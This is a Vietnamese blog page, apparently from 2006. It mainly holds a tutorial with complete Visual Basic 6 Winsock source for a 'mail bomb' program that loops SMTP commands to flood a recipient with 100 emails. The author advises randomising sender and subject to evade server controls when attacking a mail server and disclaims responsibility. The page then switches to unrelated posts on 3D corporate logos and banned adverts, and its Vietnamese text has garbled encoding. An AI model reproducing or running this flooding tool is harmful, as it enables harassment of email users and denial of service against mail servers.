Filed under: VB — haitt @ 4:01 am

Lập một chương trình bommail :

Tại sao bạn lại sử dụng một chương trình bomb mail của ngư�?i khác mà không tự viết một cái để xài ? .Bạn có bao gi�? nghĩ rằng một chương trình bomb mail bạn tải v�? bạn đang sử dụng có thể chứa những đoạn source vô cùng nguy hiểm hay không chắc bạn chưa bao gi�? nghĩ đến đi�?u đó đúng không ?? Bản thân ngư�?i viết một chương trình free hoàn toàn cho bạn sử dụng như là một công cụ để chơi khăm ngư�?i khác thì tại sao ngư�?i ấy lại không có ý định muốn chơi trên cơ bạn … có thể những đi�?u mình nói trên hơi quá nhưng có ai dám chắc là nó không h�? xảy ra. Thế để viết một chương trình bomb mail có khó không theo mình thì với khả năng lập trình v�? Visual basic tương đối và có hiểu biết một chút ít
v�? winsock controls thêm nữa là qui tắc cơ bản để gởi một email nạp danh bằng telnet thì các bạn đã tự tin mà nói rằng mình cũng có thể viết được một chương trình như vậy. Vậy tại sao các bạn không bắt tay vào mà viết ngay đi. Còn ch�? gì nữa. . Các bạn hãy nhớ câu nói rằng (”Gian” làm được là các bạn có thể làm được). Phần source của chương trình bomb mail Man sẽ gởi tới cho các bạn tham khảo trong phần sau.
Và đây là đoạn source mà các bạn mong đợi.
Phần chuẩn bị đầu tiên của chương trình là:
1/Tất nhiên là phải mở Microsoft Visual Basic (Man sử dụng phiên bản 6.0)
2/Tạo một Form mới (tôi đặc tên Form này là frmMain)
3/Vào trên thanh Menu –>Project –>Components–>đánh dấu ch�?n vào mục Microsoft Winsock Control 6.0, sao đó nhấn OK thoát ra và kéo nó vào trong frmMain (nó sẽ có tên mặt định là Winsock1, cứ để nó thế nếu bạn muốn đổi tên cho khác một tý thì phần source dưới đây bạn phải đổi tên các sub Event cho nó nha.)
4/Tạo một nút lệnh (command) và đặt tên nó là cmdBomb.
5/Tạo một label có tên là lblStatus thông báo trạng thái của tiến trình
6/nhấn phải ngay frmMain vào phần View Code và bắt đầu nhá.
Và đây là đoạn code của chương trình Man sẽ cố gắn chú thích trước mỗi đoạn code cho các bạn dễ nắm.
‘—————————————————
‘Khai bao bien
‘Bien kiem soat cau lenh goi di
Dim strCaulenh As String
‘Bien de nhan thong tin tu server goi ve
Dim strData As String
‘Bien de kiem soat so luong mail da goi di
Dim intbomb As Integer
‘Tao Function cau lenh connect vao smtp server va tra ve cho ham mot chuoi ky tu dai dien de de be kiem soat.
Function clConnect(sckSend As Winsock, MailServerName As String) As String
‘Kiem tra tinh trang cua sockket neu no o trang thai dong thi tien hanh ket noi
If sckSend.State = sckClosed Then
‘Thiet lap Protocol
sckSend.Protocol = sckTCPProtocol
‘Khai bao SMTP server se cho vao ham
sckSend.RemoteHost = MailServerName
‘Khai bao Cong ket noi thuong la cong 25
sckSend.RemotePort = 25
‘Goi cau lenh ket noi
sckSend.Connect
‘Tra ve cho ham chuoi “Connect to” phan nay rat quan trong vi dung de kiem tra cung voi gia tri do server tra ve xem ket noi da OK hay chua.. ban se hieu ro muc dich cua phan nay. Day chinh la su khac biet ma toi da nghien cuu va so sanh voi cac source bomb mail tuong tu va toi nhan thay no rat hieu qua va don gian hon bat cu giai thuat nao khac. Moi ham sau day deu tra ve mot chuoi thong bao tuong tu
clConnect = “Connect to”
End If
End Function
‘Tao Function goi cau lenh “helo” toi server ban nen luu y la moi cuoi cau lenh deu co ky tu dai dien cho phim Enter.
Function clHelo(sckSend As Winsock, txthello As String) As String
sckSend.SendData (”helo ” + txthello + vbCrLf)
clHelo = “Helo”
End Function
‘Tao Function goi cau lenh “mail from:” co them bien dia chi mail nguoi goi
Function clMailfrom(sckSend As Winsock, txtmailfrom As String) As String
sckSend.SendData (”mail from: ” + txtmailfrom + vbCrLf)
clMailfrom = “Mail From”
End Function
‘Tao Function goi cau lenh “rcpt to: ” co them bien dia chi mail nguoi nhan
Function clRcptto(sckSend As Winsock, txtmailto As String) As String
sckSend.SendData (”rcpt to: ” + txtmailto + vbCrLf)
clRcptto = “Rcpt To”
End Function
‘Tao Function goi cau lenh “data” cau lenh bat dau mot noi dung cua buc thu
Function clData(sckSend As Winsock) As String
sckSend.SendData (”data” + vbCrLf)
clData = “Data”
End Function
‘Tao function goi noi dung buc thu va co ket thuc la dau enter+ dau . + enter
Function clBody(sckSend As Winsock, strFromName As String, strToName As String, strSubject As String, strBody As String) As String
‘khai bao cac bien tam theo thu tu
Dim Fourth As String, Fifth As String, Sixth As String
Dim Seventh As String, Eighth As String
‘ai goi ??
Fourth = “From:” + Chr(32) + strFromName + vbCrLf
‘Ai nhan ??
Fifth = “To:” + Chr(32) + strToName + vbCrLf

‘Chu de buc thu
Sixth = “Subject:” + Chr(32) + strSubject + vbCrLf

‘noi dung buc thu
Seventh = strBody + vbCrLf

‘phan dau tien cua buc thu duoc goi truoc
Eighth = Fourth + Fifth + Sixth
‘goi di phan dau
sckSend.SendData (Eighth + vbCrLf)

‘goi tiep noi dung
sckSend.SendData (Seventh + vbCrLf)
‘ket thuc noi dung va goi thu di
sckSend.SendData (”.” + vbCrLf)
clBody = “Body”
End Function
‘Tao ham thoat khoi server
Function clQuit(sckSend As Winsock) As String
sckSend.SendData (”quit” + vbCrLf)
clQuit = “Quit”
End Function
‘va day la su kien khi nut lenh cmdBomb duoc click
Private Sub cmdbomb_Click()
lblStatus.Caption = “”
‘hien thoi chua co mail nao duoc goi
intbomb = 0
‘Bay loi
On Error GoTo thongbaoloi
‘noi vao SMTP server co IP o day toi chon la 203.162.0.27
‘Cac ban cung co the thay doi la “host name” hay IP address deu duoc ca. hoac co the xem chu thich 1 tai cuoi bai.
strCaulenh = clConnect(Winsock1, “203.162.0.27″)
Exit Sub
thongbaoloi:
lblStatus.Caption = “Kiem tra ket noi cua ban”
End Sub
‘Day la phan quan trong nhat cua chuong trinh, cac ban nen nam ro sau nay co the dung thuat toan nay de phat trien khong chi la goi thu qua SMTP server ma con nhan thu tu Pop3 …
‘Nhung gi server tra thong bao ve se nam o day
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
‘lay du lieu tu server tra ve
Winsock1.GetData strData
‘bao ra nhan
lblStatus.Caption = strData
‘neu 3 ky tu dau cua chuoi ma server tra ve sau khi nhan
‘duoc cau lenh connect co gia tri la “220″ tuc la server da
‘chap nhan ket noi thi thuc hien tiep cau lenh “helo”
If (strCaulenh = “Connect to” And Left(strData, 3)= “220″) Then
‘xoa gia tri cho bien
strCaulenh = “”
strData = “”
strCaulenh = clHelo(Winsock1, “hotmail.com”)
End If

‘Tuong tu nhu tren neu moi viec dien ra tot dep thi goi tiep cau lenh “mail from: mail nguoi goi” co the xem them chu thich 2 cuoi bai.
If (strCaulenh = “Helo” And Left(strData, 3) = “250″) Then
strCaulenh = “”
strData = “”
strCaulenh = clMailfrom(Winsock1, “mail nguoi goi”)
End If
‘Lan luoc goi tiep cac cau lenh tiep theo voi dieu kien chuoi ky tu cua server tra ve hoan toan hop le
If (strCaulenh = “Mail From” And Left(strData, 3) = “250″) Then
strCaulenh = “”
strData = “”
strCaulenh = clRcptto(Winsock1, “mail nguoi nhan”)
‘xem chu thich vuoi bai
End If
If (strCaulenh = “Rcpt To” And Left(strData, 3) = “250″) Then
strCaulenh = “”
strData = “”
strCaulenh = clData(Winsock1)
End If
If (strCaulenh = “Data” And Left(strData, 3) = “354″) Then
strCaulenh = “”
strData = “”
strCaulenh = clBody(Winsock1, “ten nguoi goi”, “ten nguoi nhan”, “chu de buc thu”, “noi dung buc thu”)
End If
If (strCaulenh = “Body” And Left(strData, 3) = “250″) Then
strCaulenh = “”
strData = “”
‘kiem tra neu so luong mail da goi du thu cham dut
If intbomb >= 100 Then ’so luong mail can bom. xem chu thich ben duoi
strCaulenh = clQuit(Winsock1)
lblStatus.Caption = “Da bomb xong!”
‘neu so luong mail chua du thi goi tiep
Else
intbomb = intbomb + 1
strCaulenh = clMailfrom(Winsock1, “ten nguoi goi”)
End If
End If
End Sub
‘neu socket ket noi bi loi
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
lblStatus.Caption = “Kiem tra ket noi hoac SMTP server”
Winsock1.Close
End Sub
‘———————————————————-
Thế là bạn đã viết được một chương trình bomb mail hoàn chỉnh rồi đó .. còn lại là công việc trang trí giao diện sao cho chương trình được đẹp mắt, nên thêm một số bẫy lỗi khi cần thiết để trách khi thực hiện chương trình bị hư dột suất vì nhi�?u lý do v�? mạng.
Những mục mà Man đ�? nghị các bạn xem phần chú thích bên dưới này là những mục không quan tr�?ng nhưng bạn nên thêm vào chương trình cho ngư�?i sử dụng linh động trong việc cho vào địa chỉ mail ngư�?i gởi, địa chỉ mail ngu�?i nhận, tên ngư�?i gởi, tên ngư�?i nhận, số lượng mail cần dội bomb. và SMTP server nữa.
Bạn nên tạo những textbox cho ngưòi sủ dụng nhập những thông số kia vào M ví dụ (txtmailfrom –> thay thế “mail nguoi goi”, txtmailto –> “mail nguoi nhan”, txtnumbermail —> thay thế cho số 100 mail cần gởi, txtMailserver -> dia chỉ của SMTP server, txtFromname -> “ten nguoi goi”, txtToName–>”ten nguoi nhan”, txtSubject-> chủ đ�? bức thư, txtBody->Nội dung bức thư, cho ngư�?i sử dụng tự ý nhập vào và bạn đư�?ng quên một đi�?u là phải kiểm tra xem dữ liệu ngư�?i sử dụng đưa vào có hợp lệ hay không (chẳng hạn dịa chỉ mail có đúng chuẩn là địa chỉ mail hay không … .) để hạn chế lỗi có thể xuất hiện vì dữ liệu nhập vào không đúngMan nghĩ công việc đó quá đơn giản phải không các bạn. Một đi�?u nữa là các bạn có thể kết hợp nhi�?u winsock để quá trình mail đuợc nhanh hơn, mạnh hơn, đó là phần của các bạn. Nếu các bạn cần chương trình tôi đã viết thì hãy mail cho tôi theo địa chỉ mail sau:letanmans@yahoo.comtôi rất sẵng lòng gởi chương trình cho các bạn. còn một đi�?u quan tr�?ng là chương trình này các bạn sử dụng với mục đích gì là tuỳ ý các bạn. Man không chịu trách nhiệm nào đâu nhé ..hehehe.. Và nên nhớ một đi�?u là nêu muốn tấn công một server mail nào đó thì nên cho phần địa chỉ ngư�?i gởi một cách ngẫu nhiên
ngư�?i nhận một cách ngẫu nhiên và chủ đ�? một cách ngẫu nhiên để tránh tình trạng relay của server. Mong các bạn thích chương trình này và hãy tự mình khám phá. Man sẽ trở lại với một chủ đ�? thú vị hơn.!

Thử sẽ biết thất bại, nhưng chưa thử thì làm sao biết mình thất bại.

Chúng ta đang hàng ngày chứng kiến sự lên ngôi của đồ họa 3 chiều. Các con dân của internet và máy tính lại càng hay tiếp xúc nhiều với những ấn phẩm loại này. Chúng hiển thị hàng ngày trên màn hình, ngay trước mắt chúng ta… Đâu chỉ có vậy, chỉ cần để ý một chút thôi, bạn sẽ thấy nó hiện diện trên hầu khắp các phương tiện truyền thông. Nói chung cứ cái gì hiển thị được hình ảnh, cái đó sẽ có sự hiện diện không nhiều thì ít của đồ họa 3 chiều.

Logo mới của vodafone. Thêm chiều thứ 3 cho việc hiển thị trên những phương tiện truyền thông mới. Xem thêm chi tiết

Với sự phát triển của công nghệ hiện giờ, cái lý do “tiết kiệm chi phí” trong việc in ấn hẳn là không còn hợp thời. Bạn, cũng như tôi, chúng ta đều biết rằng chẳng ai lại đi sử dụng có mỗi cái logo trên các ấn phẩm của mình. Gì thì gì, chúng ta vẫn cứ phải in đầy đủ tất cả các màu cần thiết. Giá thành in bây giờ cũng đâu còn đắt… Ngay cả đến billboard người ta cũng in chứ có còn vẽ bằng sơn tổng hợp như xưa nữa đâu… Ấy là còn chưa kể đến những phương tiện truyền thông đang thịnh hành hiện giờ: truyền hình, internet,… chưa bao giờ việc thể hiện những đối tượng đồ họa phức tạp lại trở nên đơn giản đến thế. Và thực tế, các công ty lớn đang dần dần chuyển sang sử dụng màn hình để đưa thông điệp tới khách hàng của họ hơn là dùng giấy. Cũng phải công nhận rằng trên loại phương tiện này, các loại bóng mờ, bóng đổ, lóe sáng, v…v.. tỏ ra hiệu quả và thu hút người xem hơn nhiều.

Dưới đây là danh sách các công ty đang sử dụng logo 3D. Chắc hẳn còn nhiều, nhưng chừng này có lẽ đủ để designer nhận ra xu hướng mới này:

Vodafone
Quark Xpress
UPS
Wikipedia
Firefox
BT
Sony Ericsson
Nvidia
Logitech
Skype
AT&T
Volkswagon

Một lý do khác cũng không kém phần quan trọng: Quan niệm về cái đẹp của thế hệ monitor hiện giờ khác xa so với thế hệ mà ngoài tạp chí ra chỉ có TV đen trắng và radio. Việc thay đổi hình ảnh thương hiệu của hàng loạt công ty lớn cho thấy rõ ràng xu hướng này. Thay đổi là điều luôn luôn đúng nếu muốn tồn tại và phát triển. Mỗi tội mệt.

Me-xừ Igor Maltsev (Russian Finance magazine) nói rằng ông ta không nhận ra ý nghĩa của quảng cáo này. “Tôi tưởng là những biểu tượng tiền tệ đang nhảy múa gì đó…”. Hic. Dù sao tạp chí tài chính Nga cũng đã phải gỡ bỏ 100 poster này sau một đêm treo cho thiên hạ chiêm ngưỡng.

Trên đây chỉ là một trong số rất nhiều các quảng cáo đã bị cấm. Mỗi quốc gia có một nền văn hóa riêng. Họ có những tiêu chuẩn riêng cho việc nhìn nhận các ý tưởng quảng cáo. Việc tập hợp các quảng cáo tuy tốt về mặt ý tưởng, nhưng bị bác bỏ do vi phạm “thuần phong mỹ tục” để in thành sách là một ý tưởng khá hay của www.bestrejectedadvertising.com. Các quảng cáo tập hợp ở đây được ghi chú rất chi tiết: tên hãng thực hiện, ý tưởng, lý do bị cấm,… Một nơi tham khảo lý thú cho người làm quảng cáo.

This entry was posted on Friday, May 26th, 2006 at 1:27 pm and